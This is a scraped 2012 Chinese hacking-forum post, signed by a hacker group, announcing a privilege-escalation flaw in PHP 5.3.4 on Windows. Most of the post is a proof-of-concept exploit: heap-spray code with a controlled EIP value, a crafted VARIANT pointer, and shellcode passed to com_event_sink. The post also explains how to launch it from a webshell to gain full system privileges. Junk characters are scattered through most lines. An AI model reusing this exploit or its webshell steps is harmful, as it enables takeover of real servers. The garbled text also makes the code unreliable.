找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1933|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
7 r) }* ^  l/ _, j2 _6 h0 p0 x+ n) L+ ?) p7 }0 c; }
测试方法如下:cmd /c x:\php\php.exe x:\test.php. |0 K* t  z: {0 p

& Y. K( M! R4 Q8 i下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php5 o3 L2 R. h1 H$ w4 q& i8 o
这里是两个测试的截图:
' G( `. x& `& ~+ b# U) E9 T
, k" Y+ K, h) F) N& @$ u2 P
: U4 N! W8 ^0 p6 U, }* e! O  k) m9 [6 s2 @. Y* c; ^+ D: A  t

) }$ s( {. P9 W( j0 H
. \9 v7 r# M. A. h成功利用此漏洞的攻击者将获得系统的最高权限/ e4 Q. b. _0 I) l( t$ |

3 A' u/ D( @# W5 N
: Q7 Y" |" Y5 o5 _1 e
6 z, G# s. ~+ L, d, }! c0 p4 F* K% b/ @

# I2 D0 l) Z/ C: n1 T  U( m/ w5 k关于漏洞分析稍后附上。一下是PoC代码:2 B- T- _; E* T# x: m* |$ ]- x$ f! l; h

) }, c4 C& A" T5 X<?php8 ?5 @" q% v8 @6 z3 V, v/ h8 s( o( v
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
. Y. ~& m- e+ Z  J: k) p& \" u2 m- F//$eip ="\x44\x43\x42\x41";) P, K* Y, K. g8 @5 V2 o7 A) a
$eip= "\x4b\xe8\x57\x78";
' \$ u! @4 P8 E$eax ="\x80\x01\x8d\x04";6 y6 z9 p2 E9 R& E
$deodrant="";
5 D# l% f  f0 w7 S2 o$axespray = str_repeat($eip.$eax,0x80);/ ?) S* B+ O/ F& B5 s3 ?  G& G6 n5 m
//048d0190" Q  t2 M& g3 x( Q) ~( F6 [9 k
echo strlen($axespray);
% [  ?; X3 ~& t0 `6 W( L; z) q5 }echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";  |2 i, q% W7 q& i. Y5 {! C
echo "Silic Group Hacker Army - BlackBap.Org";$ C, S* e  u7 @% r1 j2 E
//19200 ==4B32 4b002 J- }6 z  z9 U
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}; x0 [1 z0 e4 {7 f
$terminate = "T";1 x7 [' o5 E+ _0 b
$u[] =$deodrant;6 E" ?2 |, ^' u: A# @3 k
$r[] =$deodrant.$terminate;
' T. v( I$ e+ M9 K& n9 D$a[] =$deodrant.$terminate;
! L: ?" j; h5 [" n. F- |" T  D3 u$s[] =$deodrant.$terminate;
1 C9 G, I8 v- n1 Z2 R& t0 B//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的
9 k8 d  D3 a! u- o1 m$vVar = new VARIANT(0x048d0000+180);  T$ t* k* g7 w
//弹窗代码(Shellcode)
7 R+ F& {. g- A3 \3 i$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";! n: p6 A: G$ i* ~
$var2 = new VARIANT(0x41414242);
' a9 B# @% p5 @$ A  ocom_event_sink($vVar,$var2,$buffer);
/ u  c" w; b  q# W) }( v' H?>% C% b4 _# B1 Y4 Q

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表